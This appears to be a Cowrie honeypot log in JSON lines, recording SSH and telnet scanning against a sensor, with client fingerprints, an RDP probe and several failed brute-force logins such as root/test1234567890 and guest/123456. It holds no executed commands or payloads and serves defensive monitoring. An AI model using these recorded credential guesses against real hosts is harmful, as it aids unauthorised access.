{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40666,"dst_ip":"10.17.0.5","dst_port":22,"session":"099b5c0f27a7","protocol":"ssh","message":"New connection: 176.65.132.254:40666 (10.17.0.5:22) [session: 099b5c0f27a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.351474Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.165.16.161","src_port":65409,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f4586929d3","protocol":"ssh","message":"New connection: 194.165.16.161:65409 (10.17.0.5:22) [session: 79f4586929d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.358192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.376034Z","src_ip":"176.65.132.254","session":"099b5c0f27a7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","message":"Remote SSH version: \u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.383028Z","src_ip":"194.165.16.161","session":"79f4586929d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.387664Z","src_ip":"194.165.16.161","session":"79f4586929d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.461400Z","src_ip":"176.65.132.254","session":"099b5c0f27a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.743583Z","src_ip":"176.65.132.254","session":"099b5c0f27a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56348,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3662a156683","protocol":"telnet","message":"New connection: 62.210.97.77:56348 (10.17.0.5:23) [session: e3662a156683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:05.872566Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:06.842134Z","src_ip":"176.65.132.254","session":"099b5c0f27a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.17422008514404,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:07.489361Z","src_ip":"62.210.97.77","session":"f3442cc9f2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.959940671920776,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.119639Z","src_ip":"62.210.97.77","session":"fc7ed8b9234d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.910836696624756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.154658Z","src_ip":"62.210.97.77","session":"5efb2e784d1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.323490142822266,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.473655Z","src_ip":"62.210.97.77","session":"00967eec0148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89849305152893,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.669637Z","src_ip":"62.210.97.77","session":"07f736d39c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40676,"dst_ip":"10.17.0.5","dst_port":22,"session":"162c701ef441","protocol":"ssh","message":"New connection: 176.65.132.254:40676 (10.17.0.5:22) [session: 162c701ef441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.682135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.687967Z","src_ip":"176.65.132.254","session":"162c701ef441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50566,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c674c38896","protocol":"telnet","message":"New connection: 62.210.97.77:50566 (10.17.0.5:23) [session: 38c674c38896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.718706Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.772761Z","src_ip":"176.65.132.254","session":"162c701ef441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50580,"dst_ip":"10.17.0.5","dst_port":23,"session":"23fba345fde1","protocol":"telnet","message":"New connection: 62.210.97.77:50580 (10.17.0.5:23) [session: 23fba345fde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:09.928875Z"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:10.038154Z","src_ip":"176.65.132.254","session":"162c701ef441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"f394aa473a79","protocol":"telnet","message":"New connection: 134.209.8.29:56484 (159.203.135.109:23) [session: f394aa473a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:11.029988Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:11.157122Z","src_ip":"176.65.132.254","session":"162c701ef441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53154,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad97257fb1f","protocol":"telnet","message":"New connection: 38.54.119.93:53154 (10.17.0.5:23) [session: aad97257fb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:11.417404Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50592,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e3d7b3dd279","protocol":"telnet","message":"New connection: 62.210.97.77:50592 (10.17.0.5:23) [session: 2e3d7b3dd279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:12.618329Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50598,"dst_ip":"10.17.0.5","dst_port":23,"session":"aea1c4a33bd5","protocol":"telnet","message":"New connection: 62.210.97.77:50598 (10.17.0.5:23) [session: aea1c4a33bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:12.878298Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":47724,"dst_ip":"159.203.135.109","dst_port":22,"session":"31673038d0ec","protocol":"ssh","message":"New connection: 152.32.189.59:47724 (159.203.135.109:22) [session: 31673038d0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:12.910853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:12.916540Z","src_ip":"152.32.189.59","session":"31673038d0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.228525Z","src_ip":"152.32.189.59","session":"31673038d0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17138671875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.435806Z","src_ip":"62.210.97.77","session":"1e1d501e2299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43262,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c2ae2965e4","protocol":"ssh","message":"New connection: 176.65.132.254:43262 (10.17.0.5:22) [session: 23c2ae2965e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.859212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.864414Z","src_ip":"176.65.132.254","session":"23c2ae2965e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.948471Z","src_ip":"176.65.132.254","session":"23c2ae2965e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.331445932388306,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.971151Z","src_ip":"62.210.97.77","session":"4acfd41bafc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57812,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc883350986c","protocol":"telnet","message":"New connection: 65.60.27.33:57812 (10.17.0.5:23) [session: dc883350986c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:13.980399Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234567890","message":"login attempt [root/test1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:14.156227Z","src_ip":"152.32.189.59","session":"31673038d0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:14.203689Z","src_ip":"176.65.132.254","session":"23c2ae2965e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:15.294061Z","src_ip":"176.65.132.254","session":"23c2ae2965e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:15.385432Z","src_ip":"152.32.189.59","session":"31673038d0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56478,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2a20ef557ff","protocol":"telnet","message":"New connection: 134.209.8.29:56478 (159.203.135.109:23) [session: e2a20ef557ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:15.641247Z"}
{"eventid":"cowrie.session.closed","duration":0.1012725830078125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:15.742346Z","src_ip":"134.209.8.29","session":"e2a20ef557ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.254842281341553,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:16.672118Z","src_ip":"38.54.119.93","session":"aad97257fb1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23500871658325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:17.319477Z","src_ip":"62.210.97.77","session":"4effd01be557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.557480573654175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:17.469759Z","src_ip":"62.210.97.77","session":"a48247a5f8ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.622567653656006,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:17.612256Z","src_ip":"62.210.97.77","session":"6f575d88caa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43264,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9060595ba9d","protocol":"ssh","message":"New connection: 176.65.132.254:43264 (10.17.0.5:22) [session: c9060595ba9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:17.769465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:17.788739Z","src_ip":"176.65.132.254","session":"c9060595ba9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:17.966846Z","src_ip":"176.65.132.254","session":"c9060595ba9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:18.353365Z","src_ip":"176.65.132.254","session":"c9060595ba9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.267558097839355,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:18.376694Z","src_ip":"62.210.97.77","session":"6ac2c9977058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.982274532318115,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:18.544848Z","src_ip":"65.60.27.33","session":"1f371400551e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60308,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f07b36b556","protocol":"telnet","message":"New connection: 62.210.97.77:60308 (10.17.0.5:23) [session: 11f07b36b556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:18.645196Z"}
{"eventid":"cowrie.session.closed","duration":33.19390940666199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:19.278620Z","src_ip":"65.60.27.33","session":"a51bff9bd733","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:19.447078Z","src_ip":"176.65.132.254","session":"c9060595ba9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60320,"dst_ip":"10.17.0.5","dst_port":23,"session":"09dca8011e44","protocol":"telnet","message":"New connection: 62.210.97.77:60320 (10.17.0.5:23) [session: 09dca8011e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:20.313556Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc575fdc5ff","protocol":"telnet","message":"New connection: 65.60.27.33:37322 (10.17.0.5:23) [session: 4cc575fdc5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:21.145370Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43272,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e68b00bc29","protocol":"ssh","message":"New connection: 176.65.132.254:43272 (10.17.0.5:22) [session: 78e68b00bc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:21.782251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:21.789138Z","src_ip":"176.65.132.254","session":"78e68b00bc29","protocol":"ssh"}
